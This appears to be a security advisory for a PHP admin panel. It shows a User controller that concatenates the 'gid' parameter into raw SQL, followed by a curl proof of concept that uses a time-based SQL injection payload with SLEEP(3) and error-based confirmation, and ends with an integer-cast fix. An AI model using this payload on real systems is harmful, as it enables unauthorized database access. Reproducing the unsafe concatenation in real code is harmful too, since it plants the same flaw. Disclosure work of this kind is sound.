app/controller/admin/User.php:114-127
$gid = $this->request->get('gid', 0);
$totalNum = (new AdminAuthGroupAccess())->where('find_in_set("' . $gid . '", `group_id`)')->count();
$sql = "SELECT au.* FROM admin_user as au LEFT JOIN admin_auth_group_access as aaga " .
" ON aaga.`uid` = au.`id` WHERE find_in_set('{$gid}', aaga.`group_id`) " .
" ORDER BY au.create_time DESC LIMIT{$start},{$limit}";
$userInfo = Db::query($sql);
gidNo integer conversion or parameter binding was performed; it was directly concatenated into the RAW WHERE clause and the native SQL.
The attacker must be logged in to the backend and have permissions for admin/User/getUsers 。
curl.exe -s -o NUL -w "%{time_total}" `
"<http://127.0.0.1:18080/admin/User/getUsers?gid=1&size=20&page=1>" `
-H "Api-Auth: 2eb94b2255ed928f73e68160ec86336f"
time cost:
0.028028
time based sql injection payload:
curl.exe -s -o NUL -w "%{time_total}" `
"<http://127.0.0.1:18080/admin/User/getUsers?size=20&page=1>" `
-H "Api-Auth: 2eb94b2255ed928f73e68160ec86336f" `
--get --data-urlencode "gid=999', aaga.group_id) OR SLEEP(3)-- "
time cost:
3.026023
Additional verification: Passing single quotes triggers an SQL error; the error page reveals that the actual SQL executed by Db::query() contains user input.
SELECT au.* FROM admin_user as au LEFT JOIN admin_auth_group_access as aaga
ON aaga.`uid` = au.`id` WHERE find_in_set(''', aaga.`group_id`)
ORDER BY au.create_time DESC LIMIT 0, 20
gid to an integer: $gid = $this->request->get('gid/d', 0);